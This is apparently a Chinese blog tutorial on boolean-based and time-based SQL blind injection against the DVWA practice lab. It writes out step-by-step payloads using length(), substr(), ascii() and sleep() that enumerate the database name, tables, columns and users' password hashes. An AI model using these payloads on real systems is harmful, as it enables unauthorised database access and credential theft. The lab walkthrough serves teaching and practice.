sql盲注

文章目录

布尔盲注

介绍:在网页只给你两种回显的时候是用,类似于布尔类型的数据,1表示正确,0表示错误。

特点:思路简单,步骤繁琐且麻烦。

核心函数:

  1. length()函数
  2. substr()函数

下面以dvwa靶场为例来介绍布尔盲注的过程。

首先试一下这个业务流程,输入1和100显示是不同的,但是他不会回显你具体数据。



1.我们测试一下是否存在sql注入的漏洞。

txt 复制代码
1 and 1=1(exist)
1 and 1=2(exist)
1' and 1=1#(exist)
1' and 1=2#(missing)

这里我们可以基本确定是字符型的布尔盲注的sql漏洞了。

1.猜测数据库库名

txt 复制代码
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #

猜到4的时候击中目标,因此数据库的库名长度为4

2.猜测库名的第一个字母

sql 复制代码
1' and ascii(substr(database(),1,1))>65 #
1' and ascii(substr(database(),1,1))<122 #
...
...
...

由于步骤过于麻烦,我们用bp直接批量尝试。

可以看出当payload为100时数据包的回显长度从4604一下子跳到了4617,查ascii表可以判断出第一个字母是d,以此类推可以判断出数据库名字为dvwa

3.猜表名

这里测出来有两张表

txt 复制代码
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #(exist)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #(exist)

分别猜两张表的长度,再猜表名。猜测方法跟步骤2中的方法一致。

猜长度

sql 复制代码
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>7 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#(exist)

猜表名,为guestbook和users

sql 复制代码
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
...
...
...

4.猜列名

这一步其实也是不停的重复,但是我们可以带点猜测的意思,想想users表里会有什么列,password之类重要的。

sql 复制代码
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

5.猜字段值

二分法,猜测字段

sql 复制代码
1' and length(substr((select password from users limit 0,1),1))=32 #(32位一般都是MD5加密)
1' and ascii(substr((select password from users limit 0,1),1,1))=64 #(32位的长度强烈建议写一个脚本来跑)
...
...
...

时间盲注

原理:

时间盲注的核心思想是通过向SQL查询中注入特定的延时函数(如MySQL中的SLEEP()函数),使数据库的响应时间变长。

攻击者通过比较注入延时语句和未注入语句时的响应时间差异,来推断数据库中的某些信息。

常用函数:

SLEEP()函数

BENCHMARK()函数

WAITFOR DELAY 'time'

...

由于上面布尔盲注写了基本思路,这里大概讲一下。

主要是根据页面的响应时间来判断你的语句是否执行成功。后面配合IF(condition, SLEEP(seconds), 0)这种形式的语句来完成注入。

1.确定注入点

sql 复制代码
1' and sleep(5) #(明显500ms的延迟表示语句执行成功,存在字符型的漏洞)

2.猜库名

先猜库的长度

sql 复制代码
1' and if(length(database())=4,sleep(5),1) #

再猜库的具体字母

sql 复制代码
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
...
...
...

可以得出库名为dvwa
3.猜表名

先猜几个表

sql 复制代码
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

再分别二分法猜表名

sql 复制代码
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
...
...
...

最后的两个表名为guestbook和users
4.猜列

先猜有几列

sql 复制代码
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1)#

再猜长度

sql 复制代码
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1)

最后二分法猜具体字母
5.猜字段

具体见布尔盲注,基本上一模一样

相关推荐
solihawk6 分钟前
分区大表统计信息不准确引发的性能问题
数据库
百结21441 分钟前
postgresql日常运用
数据库·postgresql·oracle
前进的李工1 小时前
MySQL大小写规则与存储引擎详解
开发语言·数据库·sql·mysql·存储引擎
CoovallyAIHub1 小时前
Sensors 2026 | 从无人机拍摄到跑道缺陷地图,机场巡检全流程自动化——Zadar机场全跑道验证
数据库·架构·github
CHICX12292 小时前
2.MySQL 手工注入:从原理到 sqli-labs 实战
web安全·网络安全
菩提小狗2 小时前
每日安全情报报告 · 2026-04-07
网络安全·漏洞·cve·安全情报·每日安全
Xudde.2 小时前
班级作业笔记报告0x10
笔记·学习·安全·web安全·php
炸炸鱼.2 小时前
PostgreSQL 日常维护速查手册
数据库·oracle
m0_738120722 小时前
渗透基础知识ctfshow——Web应用安全与防护(第一章)
服务器·前端·javascript·安全·web安全·网络安全